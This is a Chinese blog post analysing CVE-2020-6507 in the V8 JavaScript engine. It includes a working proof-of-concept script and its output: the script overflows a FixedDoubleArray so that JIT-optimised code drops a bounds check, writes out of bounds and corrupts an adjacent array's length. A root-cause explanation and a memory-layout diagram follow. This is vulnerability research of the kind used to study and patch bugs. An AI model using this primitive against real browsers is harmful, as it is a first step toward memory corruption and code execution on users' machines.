首页 > 其他分享 >cve_2020_6507分析

cve_2020_6507分析

时间:2023-02-02 22:23:53浏览次数:49  
标签:giant 32 6507 length 2020 double bit cve array

poc

$ cat poc.js
array = Array(0x40000).fill(1.1);
args = Array(0x100 - 1).fill(array);
args.push(Array(0x40000 - 4).fill(2.2));
giant_array = Array.prototype.concat.apply([], args);
giant_array.splice(giant_array.length, 0, 3.3, 3.3, 3.3);


length_as_double =
    new Float64Array(new BigUint64Array([0x22222222n]).buffer)[0];

function trigger(array, oob) {
  var x = array.length;
  x -= 67108861; // 1 2
  x = Math.max(x, 0);
  x *= 10; // 10 20
  x -= 9; // 1 11
  x = Math.max(x, 0);
  oob[x] = length_as_double; // fake length
}

for (let i = 0; i < 30000; ++i) {
  vul = [1.1, 2.1];
  pad = [vul];
  double_array = [3.1];
  obj = {"a": 2.1};
  obj_array = [obj];
  trigger(giant_array, vul);
}
console.log("length = ", double_array.length.toString(16));
$ ./d8 poc.js
length =  11111111

漏洞原因分析

NewFixedArray和NewFixedDoubleArray没有对数组的大小进行判断.kFixedDoubleArrayMaxLength = 671088612。所以浮点数组的最大长度为67108862。
giant_array长度为0x40000*0xff + 0x3fffc + 3 = 67108863,其中splice函数会调用NewFixedDoubleArray函数,造成数组长度超过kFixedDoubleArrayMaxLength。
传入giant_array后trigger函数计算得到x为11,而vul长度为2,正常情况下是不会造成越界读写的。
但是v8在执行代码时会进行jit优化,去除掉冗余代码,加速代码执行。在正常情况下trigger函数会默认传入的数组长度<=kFixedDoubleArrayMaxLength.这样子计算出来的x为0或1,而vul[0]或vul[1]是可以正常访问的,那么jit在优化时就会将长度检查这部分优化掉。而我们得到的x为11,这样就可以越界读写,而vul[11]这个位置正是double_array的length位。
内存分布大概如下

 32 bit map                      | 32 bit length
 64 bit double vul[0]
 64 bit double vul[1]
 32 bit map                      | 32 bit properties
 32 bit elements                 | 32 bit length
 32 bit map                      | 32 bit length
 32 bit pad[0]                   | 32 bit map 
 32 bit properties               | 32 bit elements
 32 bit length                   | 32 bit map
 32 bit length                   | high 32 bit of double_array[0]
 low 32 bit of double_array[0]   | 32 bit map
 32 bit properties               | 32 bit elements 
 32 bit length

标签:giant,32,6507,length,2020,double,bit,cve,array
From: https://www.cnblogs.com/awesome-red/p/17084360.html

相关文章

  • GYCTF2020-Ez-Express
    title:GYCTF2020-Ez_Expressdate:2022-11-2514:49:24tags:CTF从这个题学到不少东西,记录一下。初识原型链首先这题是有个原型链污染,js中每个类都有个属性__proto_......
  • kali2020(Debian)虚拟机能上网但是,无法ping通内网(你电脑上的其他虚拟机和物理机IP地址),但
    转载自:https://blog.csdn.net/qq_59318082/article/details/121519841首先,你要判断你所要ping的虚拟机是否处于跟你kali相同的网段,Linux的ip查看命令ifconfig Wind......
  • 记一次CVE实战挖掘记录
    CVE实战挖掘记录前一段时间在学习代码审计,然后为了学习就开始在github上面找开源的项目进行练手学习代码审计,这样就可以获取CVE编号。0x01cve编号获取流程首先登录CV......
  • pyppeteer 下载 chromium 浏览器报错解决方法 (2020.05.31)
    pyppeteer运行需要chromium浏览器,第一次运行时候会自动下chromium浏览器,但是由于网络问题,国内下载会报连接错误解决方法:方法1(推荐):下载chromium浏览器到本地,百度搜......
  • P6591 [YsOI2020]植树
    树上操作太薄弱了,根本想不出来。思路:首先自定义根做一遍dfs,求出sz数组,sz[i]表示i的子树大小。在做第二遍dfs,对每一个点进行尝试,看能否为根。当x点为根转移到y点为......
  • 在unity 2020 urp版本中实现 LensFlare功能
    这个官方里面没有支持,只能自己去解决。效果请查看地址:https://www.bilibili.com/video/BV1w24y1o7pY/下面说一下我的实现过程。找来找去,我找到了一篇不错的解决方案,还带源......
  • BUUCTF-misc-[BJDCTF2020]认真你就输了
    [BJDCTF2020]认真你就输了解压缩文件,发现'10.xls'文件,winhex打开该文件,发现是以'504B0304'开头的,应该是一个ZIP的压缩文件放入kali,使用binwalk解压缩binwalk-e......
  • [ACTF新生赛2020]剑龙
    这个题不难就是过程很艰难python版本真的要我老命打开附件获得一个hint提示压缩包和一个不知名的文件打开hint提示压缩包有一张图片和pwd.txt文档打开txt文档很......
  • BUUCTF [BJDCTF2020]认真你就输了(典中点——excel文件)
    新颖的题目一定要记录下来!打开压缩包,发现是个excel文件  这里没有flag,那我们尝试把他拉到010editor中  有PK文件耶!第一想法就是zip样式文件把他修改成zip文......
  • IDEA2020.2.3无限试用
    试用进入IDEA;Ctrl+Alt+S进入Settings,选中Plugins,在ManagePluginRepositories中添加仓库地址https://plugins.zhile.iohttp://plugins.zhile.io3.在MarketPlace中......